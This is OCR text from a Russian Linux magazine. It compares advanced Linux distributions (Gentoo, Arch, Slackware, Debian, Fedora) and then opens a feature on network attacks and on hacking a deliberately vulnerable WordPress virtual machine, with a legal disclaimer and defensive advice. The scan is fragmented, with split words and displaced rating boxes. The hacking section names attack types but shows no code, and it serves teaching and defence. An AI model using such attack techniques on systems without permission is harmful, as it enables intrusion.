 ★★★★★
Fedora
 ★★★★★
Slackware
 ★★★★★
Arch
 ★★★★★
Gentoo
 ★★★★★

» Не хват ка па
ке тов – не так 
уж и пло хо, по
сколь ку оз на
ча ет боль шую 
гиб кость.

Вердикт

Вердикт



Сравнение  Ди ст ри бу ти вы для про дви ну тых

28 | LXF170 Май 2013

Д
и ст ри бу ти вы Linux обыч но при
дер жи ва ют ся одной из трех по
пу ляр ных ме то ди к раз ра бот ки: 

фик си ро ван ный гра фик, фик си ро ван ные 
функ ции и во зоб нов ляе мый ре лиз. У Fe
dora фик си ро ван ный гра фи к: но вый ре
лиз дол жен по яв лять ся ка ж дые пол го да. 
Ча ще все го по доб ные ди ст ри бу ти вы ра
дикаль но от ли ча ют ся от ре ли за к ре ли зу. 
И, та ким об ра зом, пе ре ход на новый ре лиз 
тре бу ет переуста нов ки или, по крайней 
ме ре, со лид но го об нов ления. Это на мно

го бо лее за трат но по вре мени и уси ли ям, 
чем во зоб нов ляе мый ре лиз. Debian, спустя 
го ды вы хо да непред ска зуе мых ре ли зов, 
недав но пе ре шел на двух го дич ный цикл. 
Да лее, есть мо дель функ цио наль ных ре
ли зов, как у Slackware: вме сто то го, что бы 
уста нав ли вать да ту сле дую ще го вы хо да, 
ре лиз вы хо дит по ме ре го тов но сти. Про
ект сам принима ет ре шения по по во ду ко
ли че  ст ва функ ций, ко то рые войдут в сле
дую щий ре ли з, и ра бо та ет над внед рением 
всех функ ций в ди ст ри бу тив, ко то рый 

вый дет, только реализовав все функ
ции. И, на конец, прак ти ку во зоб нов ляе
мыого цикла ре ли зов выбрали Arch и Gen
too. Вме сто вы пуска круп ного ре лиза они 
пред ла га ют неболь шой, минималь ный ди
ст ри бу тив, пригодный для уста нов ки ба
зо вой сис те мы. А за тем мо жно уста но вить 
все прочее, что требуется, че рез Ин тернет. 
У этих ди ст ри бу ти вов очень слож ная про
це ду ра уста нов ки, а во зоб нов ляе мый ре
лиз пред ла га ет под ход «уста но ви и за
будь», что не мо жет не вы звать сим па тии. 

Адап тив ность
Лег ко ли на стро ить эти ди ст ри бу ти вы на свой вкус?

Гра фик вы пуска
Не то что бы опыт но му поль зо ва те лю и это бы ло важ но, часть 2.

Gentoo ★★★★★
Gentoo – ис клю чи тель но гибко на страи вае мый ди ст ри бу тив, ко то рый вы 
мо же те оп ти ми зи ро вать прак ти че  ски для лю бо го при ло жения. Сис те ма 
Portage – это серд це ви на все го са мо го за ме ча тель но го в Gentoo. Она пре
достав ля ет кон троль при уста нов ке па ке тов, а фла ги USE вклю ча ют ее, что
бы обес пе чить под держ ку оп ций на эта пе ком пи ля ции. То есть вы мо же те 
оп ре де лять, ка кие функ ции дол жен под дер жи вать па кет. На при мер, ес ли 
вы не ра бо тае те с ра бо чим сто лом KDE при уста нов ке па ке тов, Gentoo ском
пи ли ру ет их так, что в них не бу дет под держ ки KDE. По это муто оп ре де ление 
фла гов USE и яв ля ет ся неотъ ем ле мой ча стью уста нов ки. Не за со рен ный 
ненуж ны ми при ло жения ми или биб лио те ка ми, Gentoo раз ви ва ет очень вы со
кую ско рость. Он на стаи ва ет на том, что бы вы во  вре мя уста нов ки про ве ри ли 
яд ро и уда ли ли все лишние функ ции. Ни один дру гой ди ст ри бу тив не по зво
лит вам на стро ить яд ро пе ред уста нов кой.

Fedora ★★★ ★★
Тес то вый по ли гон для ин ст ру мен тов и тех но ло гий, ко то рые в конеч ном ито
ге ока жут ся в Red Hat Enterprise Linux, Fedora яв ля ет ся иде аль ным ди ст ри
бу ти вом для тех, кто на де ет ся ока зать ся на пе ре до вом крае раз ра бот ки. 
И все же одним из наи худ ших свойств Fedora яв ля ет ся ее гра фи че  ский ин тер
фейс по умол чанию, Yum. Ес ли вам нуж на ста биль ная и пол но функ цио наль
ная аль тер на ти ва, сто ит по про бо вать Yumex. Slackware, Gentoo и Arch не да
ют вам та кой оп ции, а Fedora пред ла га ет от лич ные гра фи че  ские ин ст ру мен ты 
для лю бо го ко ли че  ст ва за дач по ад минист ри ро ванию, на при мер, по на строй
ке се ти, бранд мау эра и т. д. Fedora иде аль но под хо дит почти для лю бо го поль
зо ва те ля, и ее лег ко на стро ить как иг ро вую стан цию, для воспро из ве дения 
му зы ки или да же как се те вой или фай ло вый сер вер. Бо лее все го при год
ная для раз ра бот чи ков и ад минист ра то ров бла го да ря своим ин ст ру мен там, 
Fedora да же близ ко не под хо дит к гиб ко сти Gentoo, Arch или Slackware.

М
ы уже не раз по вто ря ли в этом Срав
нении, что од ной из луч ших сто рон на
ших ди ст ри бу ти вов яв ля ет ся их вы

со кая на страи вае мость. Но что это оз на ча ет 
на са мом де ле? Раз ве не все ди ст ри бу ти вы Linux 
на страи вае мы? Мож но из менить фон ра бо че
го сто ла, те мы знач ков, за дать нуж ные со че тания 
го ря чих кла виш, на стро ить управ ление энер го

по треб лением и про из ве сти мно же ст во иных из
менений во внешнем ви де и по ве дении всех ди
ст ри бу ти вов Linux; так что же в этом та ко го 
осо бен но го?

В то вре мя, как боль шин ст во дру гих ди ст ри бу
ти вов не идут даль ше пре достав ления вы ше пе
ре чис лен ных функ ций, ди ст ри бу ти вы из на ше го 
спи ска пред ла га ют поль зо ва те лю шансы про из

ве сти не толь ко косме ти че  ские из менения, но на
стро ить прак ти че  ски все, что во об ще на страи
ва ет ся. Это по зво лит вам при спо со бить к сво им 
ну ж дам все, что угод но – в том чис ле и яд ро! Вам 
не при дет ся уста но вить ди ст ри бу тив, а по том уда
лять ненуж ные па ке ты и на строй ки – та к никогда 
не по лу чить столь же хо ро шую сис те му, как соз
да нная с ну ля по сво ему же ланию и усмот рению. 

Arch
 ★★★★★
Gentoo
 ★★★★★
Slackware
 ★★★★★
Debian
 ★★★★★
Fedora
 ★★★★★

» При ра бо те 
с во зоб нов ляе
мы ми ре ли за ми 
вам не гро зит го
лов ная боль.

Вердикт
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О
т уста нов ки и до сре ды ра бо че
го сто ла и управ ления па ке тов, 
ди ст ри бу ти вы Linux иногда из

ме няют statusquo без пре ду пре ж дения. 
И тогда имен но до ку мен та ция про ек та 
и го то вое про тя нуть ру ку по мо щи со об
ще ст во способны по содействовать пе ре
ходу от со стояния фа таль ной ошиб ки яд ра 
к нор маль но ра бо тающей сис те ме.

Все ди ст ри бу ти вы Сравнения мо гут 
по хва стать ся со лид ным за па сом по лез
ной до ку мен та ции. Debian и Fedora снаб

же ны це лой книгой, очень под роб но опи
сы вающ ей их на строй ку для до машнего 
поль зо вания или в ка че  ст ве сер ве ра. Кро
ме то го, по пу ляр ность обоих оз на ча ет, что 
легко най ти от ве ты на свои во про сы в Ин
тернете. Gentoo и Arch пред ла га ют са мую 
об шир ную до ку мен та цию, де та льно опи
сы ваю щую да же та кие ба зо вые тех но ло
гии, как на строй ка ин тер фей са Ethernet 
или фай лов Xinitrc и fstab. Это осо бен но 
важ но, по то му что у по доб ных ди ст ри бу
ти вов осо бый под ход. Зна ком ст во с одним 

из них под го то вит вас к ра бо те поч ти с лю
бым дру гим, од на ко Gentoo и Arch  столь 
непо хо жи, что без долж ной до ку мен та ции 
да же опыт ный линуксоид мо жет ощут ить, 
как у него ухо дит поч ва изпод ног. У всех 
ди ст ри бу ти вов ак тив ные со об ще ст ва, 
связь с ко то ры ми под дер жи вается че рез 
спи ски рас сыл ки, фо ру мы и IRC. Slack
ware и Debian помещают на сво их сай тах 
спи сок ком паний и ин ди ви ду аль ных кон
суль тан тов, к ко то рым мож но об ра тить ся 
за техниче  ской под держ кой.

До ку мен та ция 
Да же про дви ну тым мо жет по на до бить ся RTFM.

Slackware ★★★★ ★
Боль шин ст во ди ст ри бу ти вов мо ди фи ци ру ют па ке ты про грамм, а вот 
в Slackware вы по лу чае те па ке ты, прак ти че  ски иден тич ные ав тор ским. 
Поль зо ва те ли жа лу ют ся на слож ность в их освоении, но все, кто зна ком 
с команд ной стро кой и клас си че  ски  ми ин ст ру мен та ми Unix, со чтут их по
нят ны ми. Slackware стре мит ся соз дать мак си маль но по хо жий на Unix ди ст
ри бу тив, и про сто та ис поль зо вания и ста биль ность – глав ные его при ори
те ты, что де ла ет его иде аль ным для сер ве ров. Slackware мож но на стро ить 
для ра бо ты с KDE, Xfce или лю бой дру гой сре дой ра бо че го сто ла, под дер жи
ваю щей лю бой менед жер окон. Slackware да ет боль шую сте пень кон тро ля 
над фор ми ро ванием сис те мы во вре мя уста нов ки бла го да ря сво ему мощ
но му вы бо ру па ке тов. Он не при дер жи ва ет ся ме то ди ки от кры той раз ра бот
ки, то есть не под дер жи ва ет ре по зи то ри ев па ке тов или воз мож но сти от сле
жи вания оши бок.

Arch ★★★★★
Arch так же не счи та ет нуж ным скры вать, как ра бо та ет сис те ма. Оба эти ди
ст ри бу ти ва пре восход ны, ес ли вы хо ти те уз нать, как ра бо та ет ди ст ри бу тив 
Linux. Но, несмот ря на их сход ст во, Arch пре достав ля ет от час ти бо лее про
стой спо соб соз дания сис те мы. Вам не при дет ся тра тить дра го цен ные ча сы 
на соз дание и от лад ку сис те мы, как в Gentoo. Бла го да ря сво ей фи ло со фии 
минима лиз ма, Arch про ти во постав ля ет се бя боль шин ст ву дру гих ди ст ри бу
ти вов, ко то рые со стя за ют ся за пол но функ цио наль ность и кра со ту. По ми мо 
яд ра сис те мы, по зво ляю ще го уста но вить до полнитель ные па ке ты, Arch со
вер шен но не оза бо чен тем, ка кую сис те му вы хо ти те по лу чить, и предостав
ля ет поль зо ва те лям са мим сфор ми ро вать ди ст ри бу тив. Соз дание ди ст ри
бу ти ва с ну ля по зво ля ет в конеч ном ито ге соз дать на мно го бо лее бы ст рую 
сис те му. По доб но Slackware, Arch пре достав ля ет па ке ты вы ше ле жа щих про
грамм безо вся ких из менений.

Debian ★★★★ ★
Как и Slackware, Debian по хож на зай чи ка Duracell – он про сто ша га ет и ша га
ет впе ред. Конеч но, тогда Gentoo и Arch ме та фо ри че  ски те же зай чи ки Dura
cell, но на сте рои дах. Debian ис клю чи тель но ста би лен, что де ла ет его иде аль
ным для сер ве ров. Его спо соб ность со от вет ст во вать за про сам об щей мас сы 
поль зо ва те лей ра бо че го сто ла час то оспа ри ва лась, по сколь ку он всегда дер
жал ся бо лее ста рых па ке тов ра ди мак си маль ной ста биль но сти. С дру гой сто
ро ны, же лая быть на пе ре до вых ру бе жах, вы без про блем мо же те ис поль зо
вать неста биль ные ре по зи то рии. Фак ти че  ски, ка ж дый из трех офи ци аль ных 
ре по зи то ри ев Debian стал вдох но ви те лем несколь ких дру гих ди ст ри бу ти вов, 
и вы смо же те ис поль зо вать один и тот же ди ст ри бу тив на мно же ст ве ар хи
тек тур: он под дер жи ва ет i386, SPARC, AMD64, PowerPC, MIPS, ARM и дру гие 
плат фор мы. Поч ти все па ке ты про грамм пре достав ля ют би нарники для Debi
an, так что у вас не бу дет ника ких про блем с уста нов кой лю бо го па ке та.

Arch
 ★★★★★
Gentoo
 ★★★★★
Debian
 ★★★★★
Fedora
 ★★★★★
Slackware
 ★★★★★

» Об шир ная до
ку мен та ция этих 
ди ст ри бу ти вов 
мо жет сде лать 
вас ко ри фе ем 
Linux.

Вердикт
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В 
Arch для уста нов ки при ло жений 
мож но ис поль зо вать менед жер па
ке тов Pacman. Pacman при ме ня ет 

в ка че  ст ве фор ма та па ке тов сжа тые фай
лы или tarар хив, ра бо тая по прин ци пу 
син хрониза ции локаль ных па ке тов с сер
ве ром, под дер жи ва ет раз ре шение за ви си
мо стей и мо жет ска чи вать и уста нав ли вать 
па ке ты с по мо щью од ной ко ман ды. 

Файл /etc/pacman�conf со дер жит спи сок 
ре по зи то ри ев. К ре по зи то ри ям по умол
чанию до бав ля ет ся так же ре по зи то рий 
Arch User Repository (AUR), соз да вае мый 
со об ще ст вом поль зо ва те лей Arch, ко то
рые мо гут го ло со вать за па ке ты в AUR, 
и ес ли па кет по лу ча ет доста точ ное чис ло 
го ло сов и име ет со от вет ст вую щую ли цен
зию, он по па да ет в офи ци аль ные ре по зи

то рии. По доб но Arch, Gentoo не пре достав
ля ет па ке тов по умол чанию, но пре вра ща ет 
за да чу уста нов ки при ло жений в па ру 
пустя ков бла го да ря сис те ме Portage, ко
то рую час то на зы ва ют од ной из луч
ших сис тем управ ления па ке та ми в Linux. 
emerge – это ин тер фейс команд ной стро ки 
в сис те ме Portage, и, так же, как и Pacman, 
вы мо же те ис поль зо вать emerge для уста
нов ки, уда ления, об нов ления и уста нов ки 
оче ред но сти па ке тов. Воз мож но, вам при
дет ся на стро ить фла ги USE или ис поль зо
вать package�mask пе ред тем, как вы смо
же те уста но вить па ке ты. Это слож ный 
про цесс, осо бен но для непо свя щен ных. 
Пре иму ще ст во Gentoo пе ред осталь ны ми – 
ис поль зо вание фла гов USE для оп ре де
ления па ке тов, ко то рые на до или не на до 

уста нав ли вать на ком пь ю
тер. Сис те мы управ ления 
па ке та ми в дру гих ди ст
ри бу ти вах то же ка жут ся 
мед леннее, чем Portage.

При бе жи ще менед же ра 
па ке тов Yum, Fedora пред
ла га ет несколь ко гра фи
че  ских ин тер фей сов для 
управ ления па ке та ми. Yum 
ис поль зу ет RPMпа ке ты, 
и вы смо же те восполь
зо  вать  ся мно же с т  вом 
сто ронних ре по зи то ри
ев, по ми мо ре по зи то ри ев 

по умол чанию. Вам при дет ся на стро ить 
эти ре по зи то рии, ес ли вы ре ши те уста но
вить муль ти ме диако де ки и модули рас
ширения, по сколь ку ба зо вая уста нов ка 
Fedora не воспро из во дит мно гих фор ма
тов фай лов.

Сис те мы управ ления па ке та ми Debi
an, APT и dpkg, не ну ж да ют ся в пред став
лении. Обе по хо жи на Клин та Ист ву да: 
они год за го дом про дол жа ют ра до вать 
нас вы даю щей ся про из во ди тель но стью. 
Debian по зво ля ет на стро ить несколь ко 
дру гих ре по зи то ри ев, та ких, как nonfree 
и contrib – их па ке ты не вполне со че та ют ся 
с очень стро ги ми прин ци па ми Debian Free 
Software Guidelines. APT мо жно ис поль зо
вать для уста нов ки локаль ных па ке тов по
доб но Pacman и Yum, привлекая ре по зи то
рии для раз ре шения за ви си мо стей. 

В от ли чие от дру гих ди ст ри бу ти вов, 
Slackware не пред ла га ет еди но го полно
функ цио наль но го ин ст ру мен та управ
ления па ке та ми: вме сто это го имеется 
несколь ко ин ст ру мен тов, от дель но для 
уста нов ки, об нов ления и уда ления па ке
тов. Поскольку пакеты в Slackware – это 
tarар хи вы ис ходников, вы так же по лу чае
те ин ст ру мент для кон вер ти ро вания RPM
па ке тов в па ке ты tar.gz. Ес ли вы со глас ны 
по жерт во вать частью функ ций, восполь
зуй тесь ути ли той pkgtool для управ ления 
па ке та ми; она по зво ляет уста нав ли вать 
и уда лять па ке ты, но ниче го боль ше.

Г
лав ная при чи на, по бу див шая нас 
вы брать эти ди ст ри бу ти вы, в том, 
что они да ют поль зо ва те лям Linux 

шанс вый ти за пре де лы при выч ных 
дей ст вий в сис те мах Linux.

В Arch и Gentoo при хо дит ся из ряд но по
во зить ся с фай ла ми ти па /etc/fstab и с на
строй ка ми имени хоста и се те во го ин тер
фей са. При чем по сред ст вом ин ст ру мен тов 
команд ной стро ки! В основ ном это про
цес сы, ко то рые поч ти все ди ст ри бу ти вы 
Linux пе ре росли к на ча лу XXI ве ка. Осо бен
ны ми их де ла ет не упор ст во в при менении 
ста ро мод ных методов, а пре достав ляе мая 
воз мож ность изу чить то, что со вре мен ные 
ди ст ри бу ти вы воспринима ют как долж
ное. Fedora мо жет мно гое пред ло жить же
лающим быть в кур се са мых со вре мен ных 

раз ра бо ток Linux. Ес ли вы никогда не от ва
жи ва лись вый ти за пре де лы дру же люб ных 
к но вич ку ди ст ри бу ти вов, вро де Ubuntu 
и Mint, Fedora мо жет стать для вас от лич
ной стар то вой пло щад кой на пу ти пре вра
щения в продвинуто го поль зо ва те ля.

Slackware и Debian пред на зна че ны для 
бо лее зре лых поль зо ва те лей Linux, же
лаю щих дви гать ся к бо лее слож ным за
да чам, но в зна ко мой сре де для про
дол жения обу чения. Эти ди ст ри бу ти вы 
позволя ют ра бо тать в команд ной стро ке 
вме сто гра фи че  ско  го ин тер фей са при вы
полнении лю бых по все днев ных за дач. 

И, на конец, у нас есть Arch и Gentoo. 
Они для ис ка те лей при клю чений, го то вых 
осво ить со вер шен но иной под ход к ра
бо те. Эти ди ст ри бу ти вы по зна ко мят вас 

со внутренностями Linux на мно го луч ше 
осталь ных. За будь те о гра фи че  ских ин
тер фей сах, скрыва ющих все фай лы на
строй ки. В этих двух ди ст ри бу ти вах вам 
при дет ся коро тать вре мя с та ки ми 
фай ла ми, о су ще ст во вании ко то рых вы, 
вероят но, и не по доз ре ва ли. 

> Лай о нел Мес си [Lionel Messi] за бил бы 16 го лов за вре мя 
при ня тия ре ше ния, ка кой из ме нед жеров па ке тов опи сать�

Управ ление па ке та ми

Фак тор удо воль ст вия

Ин ст ру мен ты, ре по зи то рии и сча ст ли вые кли ен ты.

Да вай тека улыбнем ся.

Arch
 ★★★★★
Gentoo
 ★★★★★
Slackware
 ★★★★★
Debian
 ★★★★★
Fedora
 ★★★★★

» Fedora пред
ла га ет ма ло 
ин те рес но го 
опыт ным 
поль зо ва те лям.

Arch
 ★★★★★
Gentoo
 ★★★★★
Debian
 ★★★★★
Fedora
 ★★★★★
Slackware
 ★★★★★

» Оба за слу
жи ли по пять 
звезд, но emerge 
от Gentoo бо га
че, чем Pacman 
от Arch.

Вердикт

Вердикт

> Arch не пред ла га ет ни че го из то го,  
что вы ви ди те на эк ра не�
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> На страи вать яд-
ро — все равно что 
буянить в ка би не те 
у на чаль ни ка� 
Страш но, вол ную-
ще и ин три гую ще 
од но вре мен но� 

Е
дин ст вен ная об ласть, где Gentoo 
и Arch да ют сла би ну – это па ке ты 
по умол чанию, и мы долго об суж

дали, сто ит ли да вать им по пять звезд. 
Однако, не пре достав ляя па ке тов по умол
чанию, они пред ла га ют поль зо ва те лю на
мно го боль шую сте пень кон тро ля над соз
данием ди ст ри бу ти ва на сво й вкус, а это 
и яв ля ет ся от ли чи тель ным при зна ком ди
ст ри бу ти ва для продвинутых. По раз мыс
лив, мы ре ши ли вы честь по од но му оч
ку у ка ж до го из этих ди ст ри бу ти вов. Тут 
ста ло яс но, что тогда при дет ся быть не ме
нее стро ги ми и к дру гим ди ст ри бу ти вам 
в раз де лах до ку мен та ции и управ ления 
па ке та ми. Имен но по это му Debian и Fedo
ra за слу жи ли в этих двух раз де лах по че
ты ре звез ды ка ж дый, несмот ря на их под
роб ную до к у  мен та цию и от лич ные 
ин ст ру мен ты управ ления па ке та ми. И хо тя 
мы не смог ли ни к че му при драть ся в APT 
или Yum, все же Pacman в Arch и сис те ма 
Portage в Gentoo за слу жи ли бо лее вы со

кую оцен ку бла го да ря уров ню слож но сти 
и той эле гант но сти, с ко то рой они справ
ля ют ся с за да чей управ ления па ке та ми. 
А Debian и Slackware – иде аль ная стар то
вая пло щад ка для тех, кто на ме рен стать 
опыт ным поль зо ва те лем, и они да ют пред
став ление о по тен ци аль ной гиб ко сти и на
страи вае мо сти сис тем Linux.

Arch про тив Gentoo
У нас был боль шой со блазн от дать пер вое 
ме сто Arch: он про ще в уста нов ке и не тре
бу ет возни с фла га ми USE пе ред уста нов
кой па ке тов. Но на стоя щий тест здесь – это 
уро вень кон тро ля, ко то рый ди ст ри бу ти
вы пред ла га ют поль зо ва те лям, по зво ляя 
соз дать ди ст ри бу тив на свой вкус. Gen
too пред ла га ет пол ный кон троль, по зво ляя 
точ но на стро ить яд ро во вре мя уста нов ки, 
уда лив ненуж ные функ ции. Боль шей сте
пени на страи вае мо сти и достичь нельзя! 

Фла ги USE по зво ляют под го то вить сис
те му для всех па ке тов, ко то рые вы ре ши ли 

уста но вить или не уста нав ли вать, и яв ля
ют ся дей ст ви тель но но ва тор ской функ ци
ей. Это сред ст во ука зать оп ции и функ ции, 
с ко то ры ми Portage уста но вит па ке ты, что 
по мо га ет уре зать за ви си мо сти, раз мер па
ке тов и вре мя ком пи ля ции, и в ре зуль та те 
пре достав ля ет вам бо лее бы ст рую и ме
нее за хлам лен ную сис те му. Имен но по это
му Gentoo на столь ко бы ст рее дру гих ди ст
ри бу ти вов. Вдох нов лен ные тем, что Gentoo 
пред ла га ет поль зо ва те лям шанс сде лать 
со сво ей сис те мой все, что им бу дет угод
но, мы вклю чи ли толь ко несколь ко эк ран
ных сним ков, ко то рые по ка зы ва ют раз ные 
ста дии, че рез ко то рые вам при дет ся прой
ти в про цес се уста нов ки. 

 Вер дикт
Ди ст ри бу ти вы для про дви ну тых

I

II

III

Gentoo Linux ★★★★★
Сайт: www.gentoo.org Ли цен зия: GPL и др.

» Вам не най ти бо лее на страи вае мо го ди ст ри бу ти ва.

Arch Linux ★★★★★
Сайт: www.archlinux.org Ли цен зия: GPL и др.

» Поч ти столь же хо рош и ги бок, как Gentoo. Поч ти.

Slackware ★★★★ ★
Сайт: www.slackware.com Ли цен зия: GPL и др.

» Луч ший... из осталь ных.

Debian ★★★★ ★
Сайт: www.debian.org Ли цен зия: GPL и дру гие

» Мы яв но по лу чим за это нема ло гнев ных пи сем. 

Fedora ★★★ ★★
Сайт: www.fedoraproject.org Ли цен зия: GPL и др.

» Управ ление па ке та ми и ин ст ру мен ты раз ра бот ки – 
все ее ко зы ри.

IV

V

KDE уже дав но лю бим опыт ны ми поль зо ва те
ля ми за все пред ла гае мые им оп ции на строй
ки. И, в раз ви тие нашей те мы, все ди ст ри бу ти вы 
KDE мож но счи тать ди ст ри бу ти ва ми для опыт ных 
поль зо ва те лей. Так что про буй те OpenSUSE или 
Chakra Linux, что бы ис пы тать гиб кость KDE.

Мы ста ра лись ог раничить свой вы бор ди ст ри
бу ти ва ми, ко то рые не толь ко по зво ля ют в пол ной 

ме ре управ лять на строй кой сис те мы, но и достав
ля ют удо воль ст вие в ра бо те. 

Ди ст ри бу  ти вы в на шем спи ске непохожи 
на про чие со вре мен ные ди ст ри бу ти вы Linux поч ти 
по всем ас пек там, будь то уста нов ка или управ
ление па ке та ми. Зато они от лич но под хо дят для 
оз на ком ления с ра бо той Linux из нут ри и обу
чения то му, че му вы никогда не нау чи тесь в дру гих 

ди ст ри бу ти вах. Так что эти дру гие ре ко мен до вать 
труд но. Ес ли вы уже ов ла де ли на вы ка ми ра бо ты 
в Gentoo и Arch, или го то вы к но вым ис пы таниям, 
по про буй те Linux From Scratch – эта книга про во
дит вас к соз данию соб ст вен ной сис те мы с ну
ля. В от ли чие от Gentoo и Arch, пре достав ля ющих 
хо тя бы ба зо вую ра бо чую сис те му, в LFS при дет ся 
справ лять ся со всем са ми м. |

Вы со глас ны с на шей оцен кой ди ст ри бу ти вов для опыт ных поль зо ва те лей? 
При сы лай те нам свои мне ния на lxf.letters@futurenet.co.uk.

Обратная связь

Рас смот ри те так же...
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И
с кусст во мани пулиро вать чужим ком-
пьютером, что бы де лать все что угод-
но без раз ре шения��� одни на зы ва ют его 
ха кер ст вом, д ругие — взло мом или тес-

ти ро ванием воз мож но сти проник но вения в сис те му� 
Пра ви тель ст ва, бизнес ме ны, дис си ден ты, ску чаю щие 
ком пь ю тер ные про фес сио на лы и пре ступники ата ку ют 
друг дру га — и обыч ных поль зо ва те лей — еже днев но�

Ха кер ст во бы ва ет раз
ное, но мы рас смот
рим здесь се те вые ата
ки, по сколь ку имен но 
они боль ше все го за тра
ги ва ют обыч ных лю дей. 
Не ко то рые из этих атак, 
на при мер, мсти тель ные ата ки груп пы Anonymous, 
ста но ви лись ши ро ко из вест ны, по сколь ку пе ре во ди
ли сай ты в ре жим оф флайн или до бав ля ли граф фи
ти на глав ные страницы сай тов. О дру гих со об ща ют 
очень ред ко, хо тя они про ис хо дят что ни день, при но
ся пре ступникам со лид ные сум мы.

Ес ли у вас есть сайт, вы, без со мнения, на блю да ли 
мно же ст во по пы ток ата ки по за пи сям в сво ем жур на
ле. Бу ду чи поль зо ва те лем, вы, ско рее все го, на блю

да ли ре зуль та ты этих атак в ви де спа ма (помните эти 
зав ле ка тель ные ссыл ки?); а мо жет, вам силь но не по
вез ло, и вы ли ши лись некой лич ной ин фор ма ции, 
когда был ата ко ван сер вер.

В лю бом слу чае, мы все жи вем в тес но связан ном 
ми ре, в ко то ром все боль ше и боль ше на ших цен но
стей хра нят ся в циф ро вых хранили щах, а не в фи зи
че  ских сей фах. Ос та ет ся или про сто устроиться по

удобнее и ждать, когда 
пра ви тель ст во и про вай
де ры нас за щи тят, или 
са мим осоз нать все воз
мож ные уг ро зы и за нять
ся са мо за щи той.

Мы по ка жем вам не
ко то рые ха кер ские ин ст ру мен ты из нут ри, по то му что 
за щи тить се бя мож но, толь ко разобравшись, от че го 
за щи щаешь ся.

Мы рас смот рим че ты ре раз ных ти па атак – от
каз в об слу жи вании (DDoS), «по сре дник [maninthe
middle]», меж сай то вый скрип тинг и ата ки внедрения – 
и по ка жем, как имен но их ис поль зу ют пре ступники 
в на ше вре мя и что на до сде лать, что бы вы са ми или 
ваш сайт не па ли их жерт ва ми.

Во ров ст во па ро лей » Взлом WordPress 
Экс плуа та ция уяз ви мо стей » Ата ки DDoS 

При сое ди ним ся к Бе ну Эве рар ду в его пу те ше ст вии  
на тем ную сто ро ну*�

«Мы по ка жем вам 
ха кер ские ин ст ру-
мен ты из нут ри.»

ВЗЛОМ СЕ
 ТИ

В раз ных стра нах за ко ны о ха кер ст ве раз ные, и мы 
не мо жем дать кон крет ных юри ди че  ских со ве тов. Но бу дет 
обосно ван но зая вить, что при менение лю бой из опи сы вае
мых здесь тех но ло гий к сай ту без раз ре шения от его вла
дель ца на та ко вое во мно гих стра нах яв ля ет ся неза кон ным.

Ес ли вы ра бо тае те в ком пании или в ор ганиза ции, у вас 
долж но быть пись мен ное раз ре шение от со от вет ст вую щих 
долж но ст ных лиц на про ве дение ука зан ных ме ро прия тий. 
Так вы за страхуе те се бя от воз мож ных про блем при недо
понимании про ис хо дя ще го.

*Пра во вое обосно вание
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Взлом WordPress
П

о ме ре роста мо щи HTML5 и ско ро сти JavaScript, web
при ло жения рас про стра ня ют ся все ши ре. Ubuntu и неко
то рые дру гие ди ст ри бу ти вы об ра ща ют ся с ними, как 

с при ло жения ми пер вого ряда, а Mozilla соз да ет смарт фон, строя
щий все свои функ ции имен но на них. Од на ко вме сте с ними 
на пе редний план вы хо дят уяз ви мо сти, ко то рых рань ше не бы ло.

Мы рас смот рим данную об ласть, ис поль зуя в ка че  ст ве при ме ра 
WordPress – не по то му, что это пло хое при ло жение, а по то му, что 
его по пу ляр ность и спо соб ность к рас ши рению сде ла ли его ми
ше нью для атак. Ни од на из опи сы вае мых здесь атак не уникаль
на для этой плат фор мы, и они ха рак тер ны для мно гих webпри ло
жений, вне за ви си мо сти от то го, построены ли они на CMS.

По сколь ку мы пред по чи та ем по ка зать, как ра бо та ет ата ка, 
а не по яс нять ее, мы соз да ли вир ту аль ную ма ши ну (ВМ), на ко то
рой ра бо та ет уяз ви мая вер сия WordPress. Она име ет ся на дис ке, 
и ее мож но ска чать с www.linuxformat.com/content/downloads.

Об за ве дясь ею, сле дуй те ниже при ве ден но му по ша го во му ру
ко во дству по уста нов ке. Вам по на до бит ся VirtualBox; в осталь
ном она ра бо та ет поч ти на лю бом ди ст ри бу ти ве. Мы ис поль зо ва
ли фор мат бло гов в WordPress, что бы по ка зать, как ее взло мать, 
так что за пускай те ее и при сту пай те.

Как толь ко вы об на ру жи те ата ку, блог так же со об щит вам в под
роб но стях, как за щи тить ся, что бы про ве рить, уда ст ся ли за де лать 
ды ры в сис теме безо пас но сти, пре ж де чем дви гать ся даль ше.

За щи ти те се бя
Ес ли вы ра бо тае те в webпри ло жении, вы про сто обя за ны осоз
на вать все рис ки. Уяз ви мо сти мо гут зай ти даль ше са мо го при
ло жения, по сколь ку ата кую ще му, воз мож но, уда ст ся за хва тить 
кон троль над сер ве ром. Ес ли вы ис поль зуе те го то вое ПО (ти па 
WordPress), непло хо за помнить та кое пра ви ло: чем про ще и стан
дартнее ПО, тем лег че быть в кур се дел и по сто ян но под дер жи
вать об нов ления. Всегда про ве ряй те, что бы у вас бы ла са мая по
след няя вер сия всех про грамм.

Intrusion Detection Systems [Сис те ма Об на ру жения Втор жения] 
и Intrusion Prevention Systems [Сис те мы Пре дот вра щения Втор
жения] (IDSs и IPSs) по мо га ют снизить ущерб, при чи няе мый ата

кую щим, од на ко не сто ит счи тать их эта ки ми се реб ря ны ми пу ля
ми, спо соб ны ми раз ре шить все ва ши про бле мы с безо пас но стью. 
И не менее важ но, что бы у вас бы ли уста нов ле ны и долж ным об
ра зом на строе ны SELinux или AppArmour.

Ес ли вы ис поль зуе те спе циа ли зи ро ван ное webпри ло жение, 
вы долж ны быть уве ре ны, что вам зна ко мы раз ные тех но ло гии, 
ис поль зуе мые ата кую щи ми. От лич ный стар то вый пункт – сайт 
OWASP (Open Source Web Applications Security Project – Про ект 
безо пас но сти webпри ло жений с от кры тым ко дом), https://www.
owasp.org. Ес ли на ва шем сай те хра нят ся важ ные дан ные, сто ит 
по со ве то вать ся со спе циа ли стом по по во ду обес пе чения безо пас
но сти их хранения.

> Со глас но дан-
ным Web Hacking 
Information 
Database, меж сай-
то вый скрип тинг — 
вто рая по час то те 
фор ма ата ки 
на сай ты (XSS)�

Ата ка на webпри ло жение.

Аб со лют ной безо пас но сти в ми ре нет – это 
спра вед ли во и для ре аль но го, и для циф
ро во го ми ра. Ин фор ма ция из данной ста
тьи лишь дает вам от но си тель но боль шую 
сте пень за щи ты. Безо пас ность – всегда 
ба лан с ме ж ду удоб ст вом и уяз ви мо стью, 
и вы бор, ка кая из этих кон ку ри рую щих 
сто рон важнее – лич ное де ло ка ж до го. 
Здесь лишь в об щих чер тах за тро нуты 

ас пек ты се те вой безо пас но сти, ко то рая 
